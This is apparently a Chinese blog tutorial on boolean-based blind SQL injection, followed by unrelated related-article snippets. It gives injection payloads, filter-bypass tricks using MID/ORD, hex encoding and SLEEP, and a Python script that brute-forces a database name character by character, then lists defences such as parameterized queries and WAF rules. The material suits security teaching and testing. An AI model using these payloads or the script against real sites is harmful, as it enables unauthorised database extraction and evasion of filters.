深入解析布尔注入:原理、实战与防御
目录
一、布尔注入的原理与核心逻辑
二、布尔注入的实战步骤
三、关键函数与绕过技巧
四、实战案例:获取数据库名称
五、防御策略与最佳实践
六、总结
一、布尔注入的原理与核心逻辑
布尔注入(Boolean-Based Blind SQL Injection)是一种通过构造特定SQL语句,利用应用程序对真(True)与假(False)的响应差异来推断数据库信息的攻击技术。其核心在于:
- 逻辑条件构造:通过
AND或OR连接布尔表达式(如1=1或1=2),触发不同的页面状态。 - 响应差异判断:若条件为真,页面正常显示(如返回数据);若为假,页面异常(如无数据或错误提示)。
- 信息逐位推断:结合字符串截取和ASCII码转换函数,通过二分法或遍历法猜测数据库的字符内容。
示例:
当注入' AND 1=1 --时页面正常,而' AND 1=2 --时页面异常,即可确认存在布尔注入漏洞。
二、布尔注入的实战步骤
-
确定注入点
- 测试参数(如URL中的
id或表单字段)是否存在可注入性,例如:?id=1' AND 1=1 -- (正常) ?id=1' AND 1=2 -- (异常) - 若响应状态差异明显,则可能存在布尔注入漏洞。
- 测试参数(如URL中的
-
验证布尔注入可行性
- 构造逻辑条件测试响应一致性,例如:
' AND (SELECT 1)=1 -- (正常) ' AND (SELECT 1)=2 -- (异常) - 确认后即可进入数据提取阶段。
- 构造逻辑条件测试响应一致性,例如:
-
数据提取:长度与字符猜测
- 长度判断:
' AND LENGTH(database())=8 -- (若正常则库名长度为8)[10](@ref) - 逐字符猜测:
' AND ASCII(SUBSTRING(database(),1,1))=116 -- (ASCII 116对应字符't')[5,10](@ref) - 自动化工具辅助:
- 使用
sqlmap --technique=B自动化探测; - 利用Burp Suite Intruder进行批量字符遍历。
- 使用
- 长度判断:
三、关键函数与绕过技巧
-
常用函数
SUBSTRING(str, pos, len):截取字符串(如SUBSTRING(database(),1,1))。ASCII(char):获取字符的ASCII码值(如ASCII('a')=97)。LENGTH(str):判断字段长度(如LENGTH(user())=5)。
-
绕过过滤的技巧
- 使用
MID替代SUBSTRING,或ORD替代ASCII。 - 十六进制编码绕过关键词检测(如
SUBSTR%69%6E%67)。 - 时间盲注结合布尔条件(如
AND IF(1=1,SLEEP(5),0))。
- 使用
四、实战案例:获取数据库名称
-
步骤拆解
- 判断长度:
/page.php?id=1' AND LENGTH(DATABASE())=4 -- (若正常,则库名长度4)[10](@ref) - 逐字符猜测:
/page.php?id=1' AND ASCII(SUBSTRING(DATABASE(),1,1))=116 -- (字符't')[10](@ref) - 循环遍历:依次修改截取位置(如
SUBSTRING(DATABASE(),2,1))直到获取完整名称(如test)。
- 判断长度:
-
Python自动化脚本示例
import requests url = "http://example.com/page.php?id=1' AND ASCII(SUBSTRING(DATABASE(),{},1))={} --" result = "" for i in range(1, 5):for code in range(32, 127):payload = url.format(i, code)r = requests.get(payload)if "正常页面特征" in r.text:result += chr(code)break print("Database:", result) # 输出:test
五、防御策略与最佳实践
-
输入过滤与验证
- 严格校验参数类型(如数字型参数仅允许数字)。
- 过滤敏感字符(如单引号
'、注释符--)。
-
参数化查询
- 使用预编译语句(如PDO或MyBatis),避免SQL拼接:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?"); $stmt->execute([$username]);
- 使用预编译语句(如PDO或MyBatis),避免SQL拼接:
-
最小权限原则
- 数据库账户仅授予必要权限(如禁止
xp_cmdshell)。
- 数据库账户仅授予必要权限(如禁止
-
错误信息隐藏
- 禁止返回详细数据库错误(如屏蔽
mysql_error())。
- 禁止返回详细数据库错误(如屏蔽
-
Web应用防火墙(WAF)
- 部署规则拦截常见注入特征(如
AND 1=1、SLEEP(5))。
- 部署规则拦截常见注入特征(如
六、总结
布尔注入是一种隐蔽性强、危害大的攻击方式,其核心在于利用逻辑条件与响应差异逐步窃取数据。防御需从代码规范(如参数化查询)、权限控制、错误处理等多维度构建安全防线。对于渗透测试人员,掌握自动化工具(如sqlmap)与手动脚本的结合使用,可大幅提升攻击效率。
相关文章:
深入解析布尔注入:原理、实战与防御
目录 一、布尔注入的原理与核心逻辑 二、布尔注入的实战步骤 三、关键函数与绕过技巧 四、实战案例:获取数据库名称 五、防御策略与最佳实践 六、总结 一、布尔注入的原理与核心逻辑 布尔注入(Boolean-Based Blind SQL Injection)是一种…...
GESP2023年12月认证C++七级( 第三部分编程题(2)纸牌游戏)
参考程序: #include <iostream> #include <cstring> // for memset #include <vector> using namespace std;const int max_n 1005; int n; int a[max_n], b[max_n], c[max_n]; // a[]: 得分系数;b[]: 换牌惩罚;c[]: …...
不同的人机验证的机制
目录 Cloudflare Turnstile验证 reCAPTCHA V2 GeeTest CAPTCHA Arkose Labs 验证码(FunCaptcha) 图像(图片)验证码 亚马逊验证码 (AWS/WAF) Cloudflare Turnstile验证 Cloudflare Turnstile 验证码以隐形方式运行…...
HarmonyOS学习 实验九:@State和@Prop装饰器的使用方法
HarmonyOS应用开发:父子组件状态管理实验报告 引言 在HarmonyOS应用开发领域,组件之间的状态管理是一个至关重要的概念。通过有效的状态管理,我们可以确保应用的数据流动清晰、可预测,从而提升应用的稳定性和可维护性。本次实验…...
基于瑞芯微RK3562 四核 ARM Cortex-A53 + 单核 ARM Cortex-M0——Linux应用开发手册
前 言 本文主要介绍TL3562-MiniEVM评估板的AMP(Asymmetric Multi-processing)开发案例,适用开发环境如下: Windows开发环境:Windows 7 64bit、Windows 10 64bit Linux开发环境:VMware16.2.5、Ubuntu20.04.6 64bit U-Boot:U-Boot-2017.09 Kernel:Linux-5.10.209 Lin…...
Java c线程等待ab线程执行完再执行
1、LockSupport AtomicInteger LockSupport.park() 函数表示挂起当前线程LockSupport.unpark© 函数表示解除线程c的阻塞状态AtomicInteger.decrementAndGet() 函数表示将该变量减一,并返回当前变量值(线程安全的原子类) 2、CountDownL…...
ubuntu20.04 Android14编译环境配置
ubuntu 更新和必要安装 sudo apt update sudo apt install git sudo apt install python2-minimal sudo update-alternatives --install /usr/bin/python python /usr/bin/python2 1 sudo update-alternatives --install /usr/bin/python python /usr/bin/python3 2 sudo upda…...
优化 Dockerfile 性能之实践(Practice of Optimizing Dockerfile Performance)
优化 Dockerfile 性能之实践 构建 Docker 镜像时,Dockerfile 的性能会显著影响构建过程的效率。经过优化的 Dockerfile 可以缩短构建时间、最小化镜像大小并提高整体容器性能。在本文中,我们将探讨优化 Dockerfile 性能的最佳实践。 尽量减少层数 影响…...
【Ai】MCP实战:手写 client 和 server [Python版本]
什么是mcp MCP 是一个开放协议,它为应用程序向 LLM 提供上下文的方式进行了标准化。你可以将 MCP 想象成 AI 应用程序的 USB-C 接口。就像 USB-C 为设备连接各种外设和配件提供了标准化的方式一样,MCP 为 AI 模型连接各种数据源和工具提供了标准化的接口…...
解决 AWS RDS MySQL mysqldump 导入sql SET @@GLOBAL 权限不足问题
在使用 mysqldump 导出数据库时,导出的 SQL 文件通常会包含一些 SET 语句,例如 SET MYSQLDUMP, SET SESSION, SET GLOBAL 等,这些语句用于设置会话或全局变量以确保数据一致性和兼容性。然而,在 AWS RDS MySQL 环境中,…...
Java与C在典型场景下的性能对比深度剖析
🎁个人主页:User_芊芊君子 🎉欢迎大家点赞👍评论📝收藏⭐文章 🔍系列专栏:AI 【前言】 在计算机编程领域,Java和C语言都是举足轻重的编程语言。Java以其跨平台性、自动内存管理和丰富…...
多智能体 AI 游戏框架(开源程序):竞争、发展、适应
一、软件介绍 文末提供程序和源码下载 SamoAI 在人类和 AI 之间创建了一个无缝的多代理叙事层,实现了跨多个平台的自然协作。通过一致的身份保留和情境记忆,它允许通过一系列行动随着时间的推移而演变的交互,就像人际关系一样。 二、核心概念…...
从 BI 与 SQL2API 的差异,看数据技术的多元发展路径
在数据驱动的商业世界里,商业智能(BI)与 SQL2API 如同两颗闪耀的星星,各自散发着独特的光芒。BI 早已在企业中广泛应用,成为数据分析领域的中流砥柱;而 SQL2API 作为新兴技术,虽潜力巨大&#x…...
java实现二叉树的前序、中序、后序遍历(递归和非递归方式)以及层级遍历
java实现二叉树的前序、中序、后序遍历以及层级遍历 一、二叉树节点定义二、递归方式1.前序遍历2.中序遍历3.后序遍历 三、非递归方式1.前序遍历2.中序遍历3.后序遍历4.层级遍历5.分层打印 四、测试用例 一、二叉树节点定义 class TreeNode {int val;TreeNode left;TreeNode r…...
Solr admin 更新文档
<add><doc><field name"id">1904451090351546368</field><field name"companyName" update"set">测试科技有限公司</field></doc> </add>...
【Netty篇】EventLoopGroup 与 EventLoop 详解
目录 开场白:话说 Netty 江湖第一段:EventLoopGroup——“包工头”的角色第二段:EventLoop——“身怀绝技的工人”第三段:EventLoop 如何处理 I/O 事件、普通任务和定时任务第四段:Handler 执行中如何换人?…...
操作系统之shell实现(上)
🌟 各位看官好,我是maomi_9526! 🌍 种一棵树最好是十年前,其次是现在! 🚀 今天来学习C语言的相关知识。 👍 如果觉得这篇文章有帮助,欢迎您一键三连,分享给更…...
考研数据结构之图的遍历:深度优先搜索(DFS)与广度优先搜索(BFS)(包含真题及解析)
考研数据结构之图的遍历:深度优先搜索(DFS)与广度优先搜索(BFS) 图的遍历是图论中的核心操作之一,主要包括深度优先搜索(DFS)和广度优先搜索(BFS)。本文将详…...
数据结构与算法——链表OJ题详解(2)
文章目录 一、前言二、OJ续享2.1相交链表2.2环形链表12.2环形链表2 三、总结 一、前言 哦了兄弟们,咱们上次在详解链表OJ题的时候,有一部分OJ题呢up并没有整理完,这一个星期呢,up也是在不断的学习并且沉淀着,也是终于…...
Linux 基础知识详解
Linux 基础知识详解 一、快照与克隆 1. 📸快照(Snapshot) 快照是虚拟机当前运行状态的一次“瞬间拷贝”,包括内存、磁盘、配置等信息。这使得管理员能够快速恢复到某个特定的时间点。 用途: 安全实验前保存状态&am…...
MySQL慢SQL优化方案详解:从诊断到根治的完整指南
MySQL慢SQL优化方案详解:从诊断到根治的完整指南 一、慢SQL的致命影响 当数据库响应时间超过500ms时,系统将面临三大灾难链式反应: 用户体验崩塌 页面加载超时率上升37%用户跳出率增加52%核心业务转化率下降29% 系统稳定性危机 连接池耗…...
centOs7配置有限网络
最简单快速的是使用nmtui命令,采用图形页面修改。 点击编辑连接并回车: 选中编辑然后回车: 千万记住DNS服务器就是子网掩码,不是常说的DNS域名。把地址,网关,子网掩码配置好。只要ip不冲突,网…...
C语言 —— 指尖跃迁 刻印永恒 - 文件操作
目录 1. 什么是文件 1.1 程序文件 1.2 数据文件 1.3 文件名 2. 二进制文件和文本文件 3. 文件的打开与关闭 3.1 流和标准流 3.2 文件指针 3.3 文件的打开与关闭 fopen fclose 4. 文件的顺序读写 4.1 fgetc和fputc fgetc fputc 4.2 fgets和fputs fgets fputs…...
网络安全与信息安全的区别及共通
在数字化时代,网络安全与信息安全已成为保障个人、企业乃至国家正常运转的重要防线。尽管二者紧密相关且常被混为一谈,但实则存在显著差异。当然,它们也有一些相同点,比如都以保障数字环境下的安全为核心目标,均需要通…...
【愚公系列】《Python网络爬虫从入门到精通》052-Scrapy 编写 Item Pipeline
🌟【技术大咖愚公搬代码:全栈专家的成长之路,你关注的宝藏博主在这里!】🌟 📣开发者圈持续输出高质量干货的"愚公精神"践行者——全网百万开发者都在追更的顶级技术博主! …...
【AI News | 20250416】每日AI进展
AI Repos 1、Tutorial-Codebase-Knowledge 自动分析 GitHub 仓库并生成适合初学者的通俗易懂教程,清晰解释代码如何运行,还能生成可视化内容来展示核心功能。爬取 GitHub 仓库并从代码中构建知识库;分析整个代码库以识别核心抽象概念及其交互…...
GIS开发笔记(6)结合osg及osgEarth实现半球形区域绘制
一、实现效果 输入中心点坐标及半径,绘制半球形区域,地下部分不显示。 二、实现原理 根据中心点及半径绘制半球形区域,将其挂接到地球节点。 三、参考代码 void GlobeWidget::drawSphericalRegion(osg::Vec3d point,double radius) {// 使…...
Ant Design Vue 的表格数据,第一列项目区域,项目区域相同的行数据,第一列项目区域合并
在 Ant Design Vue 的表格中,如果需要根据第一列(如“项目区域”)的值进行动态合并,可以通过 customCell 方法实现。以下是完整的代码示例,展示如何根据“项目区域”相同的行数据,合并第一列单元格。 代码示…...
SFOS2:常用容器(布局)介绍
一、前言 最近在进行sailfish os的开发,由于在此之前并没有从事过QT开发的工作,所以对这一套颇为生疏,以此记录一下。以下内容不一定完全准确,开发所使用的是Qt Quick 2.6与Sailfish.Silica 1.0两个库。 二、布局 1.Qt Quick 2.…...
C++ 核心进阶
模块九:进一步学习 (指引方向) 目录 标准模板库 (STL) 深入 1.1. std::map (进阶) 1.1.1. 迭代器的更多用法 1.1.2. 自定义比较函数 1.1.3. std::multimap 1.2. std::set (进阶) 1.2.1. 迭代器的更多用法 1.2.2. 自定义比较函数 1.2.3. std::multiset 和 std::un…...
